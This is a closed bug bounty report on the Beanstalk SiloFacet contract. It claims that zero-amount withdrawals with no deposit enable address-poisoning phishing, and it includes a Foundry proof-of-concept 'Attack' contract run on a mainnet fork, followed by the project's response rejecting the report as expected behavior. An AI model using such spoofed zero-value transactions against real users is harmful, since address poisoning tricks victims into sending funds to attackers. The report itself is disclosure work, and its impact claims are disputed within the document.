Report #14808

Report Date

December 16, 2022

Status

Closed

Payout

Address Poisoning Attack (Phishing threat)

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Report Info

Report ID

#14808

Target

https://etherscan.io/address/0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449

Report type

Smart Contract

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Bug Description

SiloFacet allows for withdrawal of 0, tokens without user having made any deposit. The remove deposit is handled by function removeDeposit() in LibTokenSilo that has three if checks, namely:

if (amount < crateAmount)
if (crateAmount > 0)
if (amount > crateAmount)

because the deposit in SiloFacet does not allow for 0 deposit there is no risk from deposits. However, the withdrawDeposit, function of SiloFacet does not check if user has made a deposit, before allowing them through to the internal function removeDeposit().

Impact

The address poisoning attack on $0 USD transfers is savage in recent weeks. As of December 2, more than 340K addresses have been poisoned on the chain, totaling 99 victim addresses and more than 1.64M USD stolen. Please read referenced article for more detail of the attack vector.

NOTE: If this does not have an impact, please warn your users not to take 0 withdrawals on their accounts seriously and report any suspicious activity.

Risk Breakdown

Difficulty to Exploit: Easy Weakness: CVSS2 Score:

Recommendation

Add a simple check if a deposit has been made by msg.sender == deposit, in SiloFacet.sol with a revert "no deposit found" will completely stop this attack.

References

https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M

Proof of concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IDiamond.sol";

/*Key Information
Summary                              : Address Poisoning Attack

Risk Assessment                      : High-Critical  
Vulnerable Contract                  : SiloFacet.sol
Vulnerable Function(s)               : withdrawDeposit();
Tools Used                           : Sol2UML, VS-Surya, Foundry 


POC-Written by                       : Sentient-X
twitter                              : @sentient_x

Disclaimer - This POC is the product of the authors best understanding of the project vulnerability all claims to be proven. 

*/

contract ContractTest is Test {     

  Attack public attack;

    IDiamond diamond = IDiamond(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    IERC20 urbean = IERC20(0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449);
    IERC20 bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);


    //general attack contract address
    address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;    

    address alice = vm.addr(1);
   
    function setUp() public {               
    vm.createSelectFork("mainnet", 16081220); //fork mainnet at block 16088922 
    attack = new Attack();

    }

    function testAttack() public {  

  //deal attacker urbean
  deal(address(urbean), address(attacker), 0);
  assertEq(urbean.balanceOf(address(attacker)), 0);  
  
  vm.startPrank(address(attacker));     
     attack.approve();
     attack.withdraw();         
  vm.stopPrank();

  console.log("attacker spoof withdraw with no deposit:",urbean.balanceOf(attacker));

  vm.warp(block.timestamp + 3600);

  //User alice calls sunrise 
  vm.startPrank(alice);
     attack.sunrise();
  vm.stopPrank();

  vm.roll(16981220);

  vm.startPrank(address(attacker));     
     attack.claim();   
  vm.stopPrank();

  console.log("attacker spoof claim with no deposit :",urbean.balanceOf(attacker));

    } 

 //more test code here
}

contract Attack {     
      
    IDiamond diamond = IDiamond(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    IERC20 urbean = IERC20(0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449);
    IERC20 bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);

    address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;

    constructor(){}
    receive() external payable {}
    fallback() external payable {}

    function approve() public {
        urbean.approve(address(diamond), type(uint).max);
    }

    function sunrise() public {
        diamond.sunrise();
    }

    function withdraw() public {
        diamond.withdrawDeposit(address(urbean), 8849, 0);                        
    }

    function claim() public {                
        diamond.claimWithdrawal(address(urbean), 8850, 0);        
    }    
}

BIC Response

This is not a security bug report because this is expected behavior.

Beanstalk was built with the philosophy that it is not the smart contract's role to protect users against misuse. Adding validation would reduce gas efficiency.

Also, it should be noted that this type of attack is (1) present within all ERC-20 tokens, (2) not exploitable without the user incorrectly manually entering an address that they find on a block explorer from a "poisoning" transaction and (3) the withdrawDeposit function only allows the user to withdraw their own Deposits, so it is actually the transferDeposit function that could result in poisoning.

Due to these reasons, we are closing the submission and no reward will be issued.